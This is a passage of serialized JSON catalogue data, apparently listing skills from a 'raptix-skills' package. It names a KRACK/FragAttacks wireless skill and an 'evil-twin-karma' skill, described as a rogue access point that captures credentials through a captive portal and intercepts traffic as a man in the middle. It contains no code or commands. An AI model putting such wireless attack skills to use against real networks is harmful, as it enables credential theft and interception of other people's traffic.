cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]